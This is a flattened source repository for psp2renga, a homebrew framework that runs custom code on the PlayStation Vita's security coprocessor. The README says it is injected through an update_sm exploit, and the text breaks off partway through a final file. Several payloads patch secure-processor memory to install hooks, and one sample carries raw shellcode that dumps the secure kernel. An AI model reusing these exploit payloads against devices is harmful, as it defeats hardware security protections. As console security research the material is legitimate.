21 | - renga_force_reset_framework_for_user 22 | - renga_remove_entry_for_user 23 | - renga_xet_bank_for_user 24 | rengaKernel: 25 | functions: 26 | - renga_set_logging 27 | - renga_force_commemblock 28 | - renga_work_commem 29 | - renga_get_status 30 | - renga_get_opmode 31 | - renga_set_opmode 32 | - renga_add_entry 33 | - renga_exec_code 34 | - renga_force_reset_framework 35 | - renga_add_reset_entry 36 | - renga_remove_entry 37 | - renga_xet_bank 38 | - renga_mepcpy 39 | -------------------------------------------------------------------------------- /Kernel/logging.h: -------------------------------------------------------------------------------- 1 | static int enable_logging = 0; 2 | static char buf_logging[256]; 3 | 4 | #define LOG(...) \ 5 | do { \ 6 | if (enable_logging == 1) { \ 7 | memset(buf_logging, 0, sizeof(buf_logging)); \ 8 | snprintf(buf_logging, sizeof(buf_logging), ##__VA_ARGS__); \ 9 | logg(buf_logging, strlen(buf_logging), LOG_LOC, 2); \ 10 | }; \ 11 | } while (0) 12 | 13 | #define LOG_START(...) \ 14 | do { \ 15 | if (enable_logging == 1) { \ 16 | memset(buf_logging, 0, sizeof(buf_logging)); \ 17 | snprintf(buf_logging, sizeof(buf_logging), ##__VA_ARGS__); \ 18 | logg(buf_logging, strlen(buf_logging), LOG_LOC, 1); \ 19 | }; \ 20 | } while (0) 21 | 22 | static int logg(void *buffer, int length, const char* logloc, int create) 23 | { 24 | int fd; 25 | if (create == 0) { 26 | fd = ksceIoOpen(logloc, SCE_O_WRONLY | SCE_O_APPEND, 6); 27 | } else if (create == 1) { 28 | fd = ksceIoOpen(logloc, SCE_O_WRONLY | SCE_O_TRUNC | SCE_O_CREAT, 6); 29 | } else if (create == 2) { 30 | fd = ksceIoOpen(logloc, SCE_O_WRONLY | SCE_O_APPEND | SCE_O_CREAT, 6); 31 | } 32 | if (fd < 0) 33 | return 0; 34 | 35 | ksceIoWrite(fd, buffer, length); 36 | ksceIoClose(fd); 37 | return 1; 38 | } -------------------------------------------------------------------------------- /Misc/NMPRunner/Samples/PayloadBigmacSample/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | bigmac comm sample (payload) for NMPRunner 3 | This code AES256-CBC bigmac-decrypts 0x200 bytes of 4 | data @0x1C000180 with key @0x1C012000 and IV @0x1C0120B0 5 | and writes results to 0x1C000700 6 | */ 7 | 8 | #include "types.h" 9 | static volatile u32_t * const BIGMAC = (void *)0xE0050000; 10 | static volatile u32_t * const RESULTS = (void *)0x1C000700; 11 | void __attribute__((optimize("O0"))) _start(void) { 12 | 13 | // reset bigmac if running 14 | if (BIGMAC[9] & 1) { 15 | BIGMAC[7] = 0; 16 | while (BIGMAC[9] & 1) {} 17 | } 18 | 19 | // bigmac-memcpy the key from 0x1C012000 to 0xE0050200 20 | BIGMAC[0] = 0x1C012000; 21 | BIGMAC[1] = 0xE0050200; 22 | BIGMAC[2] = 0x20; 23 | BIGMAC[3] = 0x2080 & 0xfffffff8; 24 | BIGMAC[7] = 1; 25 | while (BIGMAC[9] & 1) {} 26 | RESULTS[0] = BIGMAC[9]; 27 | 28 | // ARS256-CBC decrypt 0x200 bytes of data @0x1C000180 with IV @0x1C0120B0 29 | BIGMAC[0] = 0x1C000180; 30 | BIGMAC[1] = 0x1C000180; 31 | BIGMAC[2] = 0x200; 32 | BIGMAC[3] = (1 & 7) << 3 | 0x2080 & 0xfffffcc0 | 2 & 7 | (3 & 3) << 8; 33 | BIGMAC[4] = 0; 34 | BIGMAC[5] = 0x1C0120B0; 35 | BIGMAC[7] = 1; 36 | while (BIGMAC[9] & 1) {} 37 | RESULTS[1] = BIGMAC[9]; 38 | return; 39 | } -------------------------------------------------------------------------------- /Misc/NMFManager/Payloads/cp_payload/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | NMFramework by SKGleba 3 | This software may be modified and distributed under the terms of the MIT license. 4 | See the LICENSE file for details. 5 | */ 6 | #include "../../../../Include/renga-defs.h" 7 | 8 | // Copy the framework and hook sm_load & fcmd_handle 9 | u32_t __attribute__((optimize("O0"))) _start(void) { 10 | u32_t ret = 0; 11 | u32_t (*pacpy)(int dst, int src, int sz) = (void*)((u32_t)0x00801016); // memcpy func 12 | ret = pacpy((u32_t)0x00807c50, (u32_t)0x1f850400, 0x50); // copy sm_load payload 13 | ret = pacpy((u32_t)0x00809e00, (u32_t)0x1f850800, 0x80); // copy fcmd_handle payload 14 | *(u32_t *)0x00809e80 = *(u32_t *)0x1f850B00; // copy framework cfg paddr 15 | if (*(u32_t *)0x00809e80 > 0) { // make sure that cfg paddr is not 0 before hooking 16 | 17 | // sm_load::set_state(5) -> jsr (0x00807c50) 18 | *(u16_t *)0x00800a06 = 0xd050; 19 | *(u16_t *)0x00800a08 = 0x807c; 20 | *(u16_t *)0x00800a0a = 0x100f; 21 | 22 | // fcmd_handler() -> bsr (0x00809e00) 23 | *(u16_t *)0x00800372 = 0xdc79; 24 | *(u16_t *)0x00800374 = (u16_t)0x009a; 25 | 26 | // fcmd_handler::get_cmd -> mov r6,r1 27 | *(u16_t *)0x00800afe = 0x0610; 28 | } 29 | ret = *(u32_t *)0x00809e80; 30 | return ret; 31 | } 32 | -------------------------------------------------------------------------------- /Kernel/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 2.8) 2 | 3 | if(NOT DEFINED CMAKE_TOOLCHAIN_FILE) 4 | if(DEFINED ENV{VITASDK}) 5 | set(CMAKE_TOOLCHAIN_FILE "$ENV{VITASDK}/share/vita.toolchain.cmake" CACHE PATH "toolchain file") 6 | else() 7 | message(FATAL_ERROR "Please define VITASDK to point to your SDK path!") 8 | endif() 9 | endif() 10 | 11 | project(psp2renga) 12 | include("${VITASDK}/share/vita.cmake" REQUIRED) 13 | 14 | set(CMAKE_C_FLAGS "-Wl,-q -Wall -O3 -std=gnu99") 15 | set(CMAKE_CXX_FLAGS "${CMAKE_C_FLAGS} -std=c++11 -fno-rtti -fno-exceptions") 16 | 17 | include_directories( 18 | ) 19 | 20 | link_directories( 21 | ${CMAKE_CURRENT_BINARY_DIR} 22 | ${CMAKE_BINARY_DIR}/365_stubs 23 | ) 24 | 25 | add_executable(psp2renga.elf 26 | main.c 27 | ) 28 | 29 | target_link_libraries(psp2renga.elf 30 | SceSblSmSchedProxyForKernel_stub 31 | SceSblSmCommForKernel_stub 32 | SceIofilemgrForDriver_stub 33 | SceSysclibForDriver_stub 34 | SceSysmemForDriver_stub 35 | SceSysrootForKernel_stub 36 | taihenForKernel_stub 37 | taihenModuleUtils_stub 38 | ) 39 | 40 | set_target_properties(psp2renga.elf 41 | PROPERTIES LINK_FLAGS "-nostdlib" 42 | COMPILE_FLAGS "-D__VITA_KERNEL__" 43 | ) 44 | 45 | add_custom_target(psp2renga.skprx ALL 46 | COMMAND vita-elf-create -e ${CMAKE_SOURCE_DIR}/psp2renga.yml psp2renga.elf psp2renga.velf 47 | COMMAND vita-make-fself -c psp2renga.velf psp2renga.skprx 48 | ) 49 | 50 | add_dependencies(psp2renga.skprx psp2renga.elf) 51 | 52 | vita_create_stubs(stubs psp2renga.elf ${CMAKE_SOURCE_DIR}/psp2renga.yml KERNEL) -------------------------------------------------------------------------------- /Misc/NMPRunner/Samples/IncludeMemcpySample/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 2.8) 2 | 3 | set(CMAKE_SYSTEM_NAME "Generic") 4 | set(CMAKE_C_COMPILER "arm-vita-eabi-gcc") 5 | set(CMAKE_CXX_COMPILER "arm-vita-eabi-g++") 6 | 7 | project(HENkaku) 8 | 9 | set(CMAKE_C_FLAGS "-Wl,-q -Wall -O3 -std=gnu99") 10 | set(CMAKE_CXX_FLAGS "${CMAKE_C_FLAGS} -std=c++11 -fno-rtti -fno-exceptions") 11 | 12 | include_directories( 13 | ) 14 | 15 | link_directories( 16 | ${CMAKE_CURRENT_BINARY_DIR} 17 | ${CMAKE_BINARY_DIR}/365_stubs 18 | ) 19 | 20 | add_executable(memcpy_sample.elf 21 | main.c 22 | ) 23 | 24 | target_link_libraries(memcpy_sample.elf 25 | SceSblSmCommForKernel_stub 26 | SceThreadmgrForDriver_stub 27 | SceSysconForDriver_stub 28 | SceIofilemgrForDriver_stub 29 | SceSdifForDriver_stub 30 | SceSysclibForDriver_stub 31 | SceCpuForDriver_stub 32 | ScePervasiveForDriver_stub 33 | SceSysmemForDriver_stub 34 | SceSblSsMgrForKernel_stub 35 | SceSysrootForDriver_stub 36 | SceDisplayForDriver_stub 37 | SceKernelUtilsForDriver_stub 38 | ScePowerForDriver_stub 39 | SceSysrootForKernel_stub 40 | taihenForKernel_stub 41 | taihenModuleUtils_stub 42 | ) 43 | 44 | set_target_properties(memcpy_sample.elf 45 | PROPERTIES LINK_FLAGS "-nostdlib" 46 | COMPILE_FLAGS "-D__VITA_KERNEL__" 47 | ) 48 | 49 | add_custom_target(kplugin.skprx ALL 50 | COMMAND vita-elf-create -e ${CMAKE_SOURCE_DIR}/memcpy_sample.yml memcpy_sample.elf memcpy_sample.velf 51 | COMMAND vita-make-fself -c memcpy_sample.velf kplugin.skprx 52 | ) 53 | add_dependencies(kplugin.skprx memcpy_sample.elf) -------------------------------------------------------------------------------- /Misc/NMPRunner/Samples/IncludeSecureDumpSample/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 2.8) 2 | 3 | set(CMAKE_SYSTEM_NAME "Generic") 4 | set(CMAKE_C_COMPILER "arm-vita-eabi-gcc") 5 | set(CMAKE_CXX_COMPILER "arm-vita-eabi-g++") 6 | 7 | project(HENkaku) 8 | 9 | set(CMAKE_C_FLAGS "-Wl,-q -Wall -O3 -std=gnu99") 10 | set(CMAKE_CXX_FLAGS "${CMAKE_C_FLAGS} -std=c++11 -fno-rtti -fno-exceptions") 11 | 12 | include_directories( 13 | ) 14 | 15 | link_directories( 16 | ${CMAKE_CURRENT_BINARY_DIR} 17 | ${CMAKE_BINARY_DIR}/365_stubs 18 | ) 19 | 20 | add_executable(secure_dump_sample.elf 21 | main.c 22 | ) 23 | 24 | target_link_libraries(secure_dump_sample.elf 25 | SceSblSmCommForKernel_stub 26 | SceThreadmgrForDriver_stub 27 | SceSysconForDriver_stub 28 | SceIofilemgrForDriver_stub 29 | SceSdifForDriver_stub 30 | SceSysclibForDriver_stub 31 | SceCpuForDriver_stub 32 | ScePervasiveForDriver_stub 33 | SceSysmemForDriver_stub 34 | SceSblSsMgrForKernel_stub 35 | SceSysrootForDriver_stub 36 | SceDisplayForDriver_stub 37 | SceKernelUtilsForDriver_stub 38 | ScePowerForDriver_stub 39 | SceSysrootForKernel_stub 40 | taihenForKernel_stub 41 | taihenModuleUtils_stub 42 | ) 43 | 44 | set_target_properties(secure_dump_sample.elf 45 | PROPERTIES LINK_FLAGS "-nostdlib" 46 | COMPILE_FLAGS "-D__VITA_KERNEL__" 47 | ) 48 | 49 | add_custom_target(kplugin.skprx ALL 50 | COMMAND vita-elf-create -e ${CMAKE_SOURCE_DIR}/secure_dump_sample.yml secure_dump_sample.elf secure_dump_sample.velf 51 | COMMAND vita-make-fself -c secure_dump_sample.velf kplugin.skprx 52 | ) 53 | add_dependencies(kplugin.skprx secure_dump_sample.elf) -------------------------------------------------------------------------------- /Misc/NMPRunner/Samples/IncludeSecureDumpSample/main.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | secure dump sample (include) for NMPRunner 4 | This code dumps f00d secure_kernel to "ux0:data/secure_dump_sample_sk.bin" 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include "../../Include/nmprunner.h" 13 | #include "logging.h" 14 | 15 | // f00d keyring -> 0x1C000000 16 | unsigned char cpy_sk[] = { 17 | 0xa0, 0x6f, 0x16, 0x4d, 0x12, 0x4e, 0x1a, 0x7b, 0x0e, 0x4b, 0x00, 0x53, 18 | 0x06, 0x43, 0x16, 0xd3, 0x10, 0x80, 0xfa, 0x03, 0xfe, 0x00, 0x01, 0xc3, 19 | 0x00, 0x7e, 0x21, 0xc2, 0x80, 0x00, 0x21, 0xc1, 0x00, 0x1c, 0x0f, 0x10, 20 | 0x06, 0x40, 0x00, 0x00, 0x13, 0x4e, 0x17, 0x4d, 0x0f, 0x4b, 0x60, 0x6f, 21 | 0xbe, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0x1f, 0x00 22 | }; 23 | 24 | void _start() __attribute__ ((weak, alias ("module_start"))); 25 | int module_start(SceSize argc, const void *args) 26 | { 27 | LOG_START("secure_dump_sample started!\n"); 28 | int ret = 0; 29 | LOG("running payload... "); 30 | ret = NMPrun_default(&cpy_sk, sizeof(cpy_sk)); 31 | LOG("0x%X\n", ret); 32 | LOG("getting results... "); 33 | NMPreserve_commem(0); 34 | ret = NMPfile_op("ux0:data/secure_dump_sample_sk.bin", 0, 0x7e00, 0); 35 | NMPfree_commem(1); 36 | LOG("0x%X\n", ret); 37 | LOG("dumped secure_kernel to ux0:data/secure_dump_sample_sk.bin\n"); 38 | LOG("secure_dump_sample finished!\n"); 39 | return SCE_KERNEL_START_SUCCESS; 40 | } 41 | 42 | int module_stop(SceSize argc, const void *args) 43 | { 44 | return SCE_KERNEL_STOP_SUCCESS; 45 | } 46 | -------------------------------------------------------------------------------- /Include/renga-defs.h: -------------------------------------------------------------------------------- 1 | #define RENGA_ENTRIES_MAX (13) 2 | #define RENGA_BLOCK_SZ (0x10000) 3 | #define RENGA_MAX_SM_SZ (0xE000) 4 | #define RENGA_BLOCKS_START (0x500) 5 | #define RENGA_END_OFF (0xF0000) 6 | 7 | #define RENGA_MAGIC_MASTER (0) 8 | #define RENGA_MAGIC_UPDATE (0xbc68) 9 | #define RENGA_MAGIC_373UPDATE (0xbd40) 10 | #define RENGA_MAGIC_AIGMR (0x42f8) 11 | #define RENGA_MAGIC_KPRX (0xb080) 12 | #define RENGA_MAGIC_COMPAT (0x5238) 13 | #define RENGA_MAGIC_QAF (0x6ee8) 14 | #define RENGA_MAGIC_MGKM (0x4160) 15 | #define RENGA_MAGIC_PM (0x71a8) 16 | #define RENGA_MAGIC_SPKG_BLAHBLAH_2 (0x77e0) 17 | #define RENGA_MAGIC_UTOKEN (0x4bf8) 18 | #define RENGA_MAGIC_ENCDEC (0x3c58) 19 | #define RENGA_MAGIC_GCAUTH (0xb308) 20 | #define RENGA_MAGIC_RMAUTH (0x3cc0) 21 | #define RENGA_MAGIC_ACT (0x50a8) 22 | 23 | #define RENGA_TYPE_CODE (1) 24 | #define RENGA_TYPE_SM (0x10) 25 | 26 | typedef unsigned char u8_t; ///< Unsigned 8-bit type 27 | typedef unsigned short int u16_t; ///< Unsigned 16-bit type 28 | typedef unsigned int u32_t; ///< Unsigned 32-bit type 29 | typedef unsigned long long u64_t; ///< Unsigned 64-bit type 30 | typedef unsigned size_t; 31 | 32 | typedef struct { 33 | u32_t unused; 34 | u32_t paddr; 35 | u32_t resp; 36 | } __attribute__((packed)) NMFcuc_nfo; 37 | 38 | typedef struct { 39 | u16_t magic; 40 | u8_t do_use; 41 | u8_t status; 42 | u32_t smsz; 43 | } __attribute__((packed)) NMFsm_nfo; 44 | 45 | typedef struct { 46 | u16_t magic; 47 | u8_t do_use; 48 | u8_t status; 49 | u32_t mgrpaddr; 50 | NMFcuc_nfo cucnfo; 51 | NMFsm_nfo entries[RENGA_ENTRIES_MAX]; 52 | } __attribute__((packed)) NMFfm_nfo; -------------------------------------------------------------------------------- /Misc/NMFManager/Payloads/manager/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | NMFramework by SKGleba 3 | This software may be modified and distributed under the terms of the MIT license. 4 | See the LICENSE file for details. 5 | */ 6 | #include "../../../../Include/renga-defs.h" 7 | 8 | /* 9 | "BIG" function 10 | TODO: document 11 | */ 12 | u8_t _start(void) { 13 | NMFfm_nfo *fmnfo = (void *)*(u32_t *)0x00809e80; 14 | u8_t ret = 0x11, maxetr = RENGA_ENTRIES_MAX, curetr = 0, found = 0; 15 | u32_t tmp = 0; 16 | if (fmnfo->status == 0x34) { 17 | fmnfo->status = 0x12; 18 | while (curetr < maxetr) { 19 | if (fmnfo->entries[curetr].magic == 0) { 20 | maxetr = 0; 21 | break; 22 | } else if (fmnfo->entries[curetr].magic == *(u16_t *)0x0080b00e && fmnfo->entries[curetr].do_use > 0) { 23 | maxetr = 0; 24 | found = 1; 25 | break; 26 | } else 27 | curetr = curetr + 1; 28 | } 29 | fmnfo->status = 0x13; 30 | if (found == 1) { 31 | fmnfo->entries[curetr].status = 0x34; 32 | if ((fmnfo->entries[curetr].do_use & 0xf0) == RENGA_TYPE_SM) { 33 | u32_t (*pacpy)(int dst, int src, int sz) = (void*)((u32_t)0x00801016); 34 | tmp = pacpy((u32_t)0x0080b000, (u32_t)(*(u32_t *)0x00809e80 + RENGA_BLOCKS_START + (curetr * RENGA_BLOCK_SZ)), (u32_t)fmnfo->entries[curetr].smsz); 35 | fmnfo->entries[curetr].status = 0x69; 36 | } 37 | if ((fmnfo->entries[curetr].do_use & 0x0f) == RENGA_TYPE_CODE) { 38 | u8_t (*sm_cuc)() = (void*)((u32_t)(*(u32_t *)0x00809e80 + RENGA_BLOCKS_START + (curetr * RENGA_BLOCK_SZ) + RENGA_MAX_SM_SZ)); 39 | fmnfo->entries[curetr].status = sm_cuc(); 40 | } 41 | } 42 | fmnfo->status = 0x14; 43 | ret = 0x34; 44 | } 45 | return ret; 46 | } 47 | -------------------------------------------------------------------------------- /User/app/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 2.8) 2 | 3 | set(CMAKE_SYSTEM_NAME "Generic") 4 | set(CMAKE_C_COMPILER "arm-vita-eabi-gcc") 5 | set(CMAKE_CXX_COMPILER "arm-vita-eabi-g++") 6 | 7 | project(lv0_loader) 8 | set(TITLE_ID "SKGLV0LDR") 9 | set(TITLE_NAME "lv0 loader") 10 | 11 | set(CMAKE_C_FLAGS "-Wl,-q -Wall -O3 -std=gnu99") 12 | set(CMAKE_CXX_FLAGS "${CMAKE_C_FLAGS} -std=c++11 -fno-rtti -fno-exceptions") 13 | 14 | include_directories( 15 | ) 16 | 17 | link_directories( 18 | ${CMAKE_CURRENT_BINARY_DIR} 19 | ${CMAKE_BINARY_DIR}/../../Kernel/stubs 20 | ) 21 | 22 | add_executable(${PROJECT_NAME}.elf 23 | main.c 24 | debugScreenFont.c 25 | ) 26 | 27 | target_link_libraries(${PROJECT_NAME}.elf 28 | psp2renga_stub 29 | SceDisplay_stub 30 | SceCtrl_stub 31 | ) 32 | 33 | add_custom_target(${PROJECT_NAME}.velf ALL 34 | COMMAND vita-elf-create ${PROJECT_NAME}.elf ${PROJECT_NAME}.velf 35 | ) 36 | 37 | add_custom_target(eboot.bin ALL 38 | COMMAND vita-make-fself ${PROJECT_NAME}.velf eboot.bin 39 | ) 40 | 41 | add_custom_target(${PROJECT_NAME}.vpk ALL 42 | COMMAND vita-mksfoex -s TITLE_ID=${TITLE_ID} "${TITLE_NAME}" param.sfo 43 | COMMAND vita-pack-vpk -s param.sfo -b eboot.bin ${PROJECT_NAME}.vpk 44 | ) 45 | 46 | add_custom_target(vpksend 47 | COMMAND curl -T ${PROJECT_NAME}.vpk ftp://$(PSVITAIP):1337/ux0:/ 48 | DEPENDS ${PROJECT_NAME}.vpk 49 | ) 50 | 51 | add_custom_target(send 52 | COMMAND curl -T eboot.bin ftp://$(PSVITAIP):1337/ux0:/app/${TITLE_ID}/ 53 | DEPENDS eboot.bin 54 | ) 55 | 56 | add_dependencies(${PROJECT_NAME}.velf ${PROJECT_NAME}.elf) 57 | add_dependencies(eboot.bin ${PROJECT_NAME}.velf) 58 | add_dependencies(${PROJECT_NAME}.vpk eboot.bin) 59 | -------------------------------------------------------------------------------- /Misc/Renga/Samples/UserDecryptedSmLoad-dsll_mdr72/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 2.8) 2 | 3 | set(CMAKE_SYSTEM_NAME "Generic") 4 | set(CMAKE_C_COMPILER "arm-vita-eabi-gcc") 5 | set(CMAKE_CXX_COMPILER "arm-vita-eabi-g++") 6 | 7 | project(dsll_mdr72) 8 | set(TITLE_ID "SKGDS2L72") 9 | set(TITLE_NAME "dsll_mdr72") 10 | 11 | set(CMAKE_C_FLAGS "-Wl,-q -Wall -O3 -std=gnu99") 12 | set(CMAKE_CXX_FLAGS "${CMAKE_C_FLAGS} -std=c++11 -fno-rtti -fno-exceptions") 13 | 14 | include_directories( 15 | ) 16 | 17 | link_directories( 18 | ${CMAKE_CURRENT_BINARY_DIR} 19 | ${CMAKE_BINARY_DIR}/../../../../Kernel/stubs 20 | ) 21 | 22 | add_executable(${PROJECT_NAME}.elf 23 | main.c 24 | debugScreenFont.c 25 | ) 26 | 27 | target_link_libraries(${PROJECT_NAME}.elf 28 | psp2renga_stub 29 | SceDisplay_stub 30 | SceCtrl_stub 31 | ) 32 | 33 | add_custom_target(${PROJECT_NAME}.velf ALL 34 | COMMAND vita-elf-create ${PROJECT_NAME}.elf ${PROJECT_NAME}.velf 35 | ) 36 | 37 | add_custom_target(eboot.bin ALL 38 | COMMAND vita-make-fself ${PROJECT_NAME}.velf eboot.bin 39 | ) 40 | 41 | add_custom_target(${PROJECT_NAME}.vpk ALL 42 | COMMAND vita-mksfoex -s TITLE_ID=${TITLE_ID} "${TITLE_NAME}" param.sfo 43 | COMMAND vita-pack-vpk -s param.sfo -b eboot.bin ${PROJECT_NAME}.vpk 44 | ) 45 | 46 | add_custom_target(vpksend 47 | COMMAND curl -T ${PROJECT_NAME}.vpk ftp://$(PSVITAIP):1337/ux0:/ 48 | DEPENDS ${PROJECT_NAME}.vpk 49 | ) 50 | 51 | add_custom_target(send 52 | COMMAND curl -T eboot.bin ftp://$(PSVITAIP):1337/ux0:/app/${TITLE_ID}/ 53 | DEPENDS eboot.bin 54 | ) 55 | 56 | add_dependencies(${PROJECT_NAME}.velf ${PROJECT_NAME}.elf) 57 | add_dependencies(eboot.bin ${PROJECT_NAME}.velf) 58 | add_dependencies(${PROJECT_NAME}.vpk eboot.bin) 59 | -------------------------------------------------------------------------------- /User/plugin/_settings/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 2.8) 2 | 3 | if(NOT DEFINED CMAKE_TOOLCHAIN_FILE) 4 | if(DEFINED ENV{VITASDK}) 5 | set(CMAKE_TOOLCHAIN_FILE "$ENV{VITASDK}/share/vita.toolchain.cmake" CACHE PATH "toolchain file") 6 | else() 7 | message(FATAL_ERROR "Please define VITASDK to point to your SDK path!") 8 | endif() 9 | endif() 10 | 11 | project(HENkaku) 12 | include("${VITASDK}/share/vita.cmake" REQUIRED) 13 | 14 | set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wl,-q -Wall -fshort-wchar -O3 -std=gnu99") 15 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++11 -fno-rtti -fno-exceptions") 16 | 17 | include_directories( 18 | ) 19 | 20 | link_directories( 21 | ${CMAKE_CURRENT_BINARY_DIR} 22 | ${CMAKE_BINARY_DIR}/../../../Kernel/stubs 23 | ) 24 | 25 | # Builds 26 | function(ADD_RESOURCES out_var) 27 | set(result) 28 | foreach(in_f ${ARGN}) 29 | set(out_f "${CMAKE_CURRENT_BINARY_DIR}/${in_f}.o") 30 | get_filename_component(out_dir ${out_f} DIRECTORY) 31 | add_custom_command(OUTPUT ${out_f} 32 | COMMAND ${CMAKE_COMMAND} -E make_directory ${out_dir} 33 | COMMAND ${CMAKE_LINKER} -r -b binary -o ${out_f} ${in_f} 34 | DEPENDS ${in_f} 35 | WORKING_DIRECTORY ${CMAKE_SOURCE_DIR} 36 | COMMENT "Building resource ${out_f}" 37 | VERBATIM 38 | ) 39 | list(APPEND result ${out_f}) 40 | endforeach() 41 | set(${out_var} "${result}" PARENT_SCOPE) 42 | endfunction() 43 | 44 | file(GLOB res_files RELATIVE ${CMAKE_SOURCE_DIR} *.xml) 45 | add_resources(xml_res ${res_files}) 46 | 47 | add_executable(rengaUser 48 | ${xml_res} 49 | rengaUser.c 50 | ) 51 | 52 | target_link_libraries(rengaUser 53 | taihen_stub 54 | SceLibKernel_stub 55 | psp2renga_stub 56 | SceRegistryMgr_stub 57 | ScePower_stub 58 | SceVshBridge_stub 59 | ) 60 | 61 | set_target_properties(rengaUser 62 | PROPERTIES LINK_FLAGS "-nostdlib" 63 | ) 64 | 65 | vita_create_self(renga.suprx rengaUser 66 | UNSAFE 67 | CONFIG ${CMAKE_SOURCE_DIR}/rengaUser.yml 68 | ) 69 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # psp2renga 2 | Custom lv0 framework for Playstation Vita/TV 3 | 4 | # Usage (end-user) 5 | 1) Put psp2renga.skprx in ur0:tai/ 6 | 2) Add a line to ux0: or ur0: /tai/config.txt under *KERNEL 7 | - ur0:tai/psp2renga.skprx 8 | 3) Reboot 9 | 10 | # For developers 11 | psp2renga requires taihen. 12 | 13 | ## Basic info 14 | - For all communication ARM<->FRAMEWORK the Camera SRAM (p: 0x1C000000 - 0x1C1FE000) or a custom-mapped phycont block is used. 15 | - In renga it is referred to as "commem" or "corridor". 16 | - There are two patches used: 17 | - run_sm::set_state(5) hook - After SM load, before jumping to it. 18 | - fcmd_handler() hook - After ARM command is received, before executing it. 19 | - At every sleep/resume the crypto processor is reset, commem is reset too. 20 | - The framework is injected by exploiting update_sm::0x50002 21 | - If logging is enabled, psp2renga creates a log in "ux0:data/0psp2renga.log". 22 | 23 | ## Commem layout 24 | - 0x0-0x200: Framework config. 25 | - 0x200-0x500: Entry manager, run_sm hook jumps there. 26 | - 0x500-0xD0000: 12 0x10000 entry blocks, one additional smaller block. 27 | - 0xD0000-0xF0000: Reserved for any-time-run code, fcmd_handler hook jumps there. 28 | - 0xF0000-0x1FE000: Unused. 29 | 30 | ## Usage 31 | - For kernel-exports check /Include/renga-funcs.h 32 | - For user-exports check /Include/renga_user-funcs.h 33 | - For important defines check /Include/renga-defs.h 34 | - You may use lv0_loader.vpk (/User/app/) to easily run your own MeP payloads. 35 | - You may use renga.suprx (/User/plugins/) to easily switch between Camera SRAM and the phycont block. 36 | - Add the _settings one to SceSettings, there will be a new entry in Settings->System 37 | - Add the _forcephy or _forcesram to target apps, either phycont or sram mode will be forced. 38 | 39 | # Credits 40 | - Team Molecule for the update_sm 0x50002 exploit and help over discord 41 | - Team Molecule for HenKaku, TaiHen and Enso 42 | - xerpi for the vita-baremetal-loader 43 | - CelesteBlue for the ssmgr-resume hook -------------------------------------------------------------------------------- /Misc/Renga/Samples/UserDecryptedSmLoad-dsll_mdr72/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | dsll_mdr72 by SKGleba 3 | This software may be modified and distributed under the terms of the MIT license. 4 | See the LICENSE file for details. 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include "debugScreen.h" 11 | #include "../../../../Include/renga-defs.h" 12 | #include "../../../../Include/renga_user-funcs.h" 13 | 14 | #define printf(...) psvDebugScreenPrintf(__VA_ARGS__) 15 | 16 | #define DECSM_PATH "ux0:data/update_sm.bin" 17 | #define KLOG_PATH "ux0:data/0psp2renga.log" 18 | #define RENGA_DUMP_PATH "ux0:data/dsll_framework_dump.bin" 19 | #define BLOCKS_DUMP_PATH "ux0:data/dsll_blocks_dump.bin" 20 | #define UNUSED_DUMP_PATH "ux0:data/dsll_unused_commem_dump.bin" 21 | 22 | static void wait_key_press(); 23 | static int do_dump = 0; 24 | 25 | int main(int argc, char *argv[]) 26 | { 27 | uint8_t ret8; 28 | 29 | psvDebugScreenInit(); 30 | 31 | printf("dsll_mdr72 by SKGleba\n"); 32 | 33 | renga_set_logging_for_user(1); 34 | 35 | ret8 = renga_get_status_for_user(RENGA_MAGIC_MASTER); 36 | printf("getting framework status... 0x%02X\n", ret8); 37 | if (ret8 == 0x22) 38 | renga_force_reset_framework_for_user(1); 39 | 40 | printf("adding entry %s... \n", DECSM_PATH); 41 | printf("\n main_status: 0x%02X\n\n", renga_add_entry_for_user(DECSM_PATH, 0x10, RENGA_MAGIC_373UPDATE)); 42 | 43 | printf(" kernel log: %s\n\n", KLOG_PATH); 44 | 45 | wait_key_press(); 46 | 47 | if (do_dump == 1) { 48 | printf("\ndumping commem...\n\n"); 49 | renga_work_commem_for_user(RENGA_DUMP_PATH, 0, RENGA_BLOCKS_START, 0); 50 | renga_work_commem_for_user(BLOCKS_DUMP_PATH, RENGA_BLOCKS_START, (RENGA_END_OFF - RENGA_BLOCKS_START), 0); 51 | renga_work_commem_for_user(UNUSED_DUMP_PATH, RENGA_END_OFF, (0x1FE000 - RENGA_END_OFF), 0); 52 | printf(" framework dump: %s\n", RENGA_DUMP_PATH); 53 | printf(" sm blocks dump: %s\n", BLOCKS_DUMP_PATH); 54 | printf(" unused-mem dump: %s\n", UNUSED_DUMP_PATH); 55 | } 56 | 57 | renga_set_logging_for_user(0); 58 | 59 | return 0; 60 | } 61 | 62 | void wait_key_press() 63 | { 64 | SceCtrlData pad; 65 | 66 | printf("Press START to continue.\n"); 67 | 68 | while (1) { 69 | sceCtrlPeekBufferPositive(0, &pad, 1); 70 | if (pad.buttons & SCE_CTRL_START) 71 | break; 72 | if (pad.buttons & SCE_CTRL_SELECT) { 73 | do_dump = 1; 74 | break; 75 | } 76 | sceKernelDelayThread(200 * 1000); 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /User/app/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | psp2renga by SKGleba 3 | This software may be modified and distributed under the terms of the MIT license. 4 | See the LICENSE file for details. 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include "debugScreen.h" 11 | 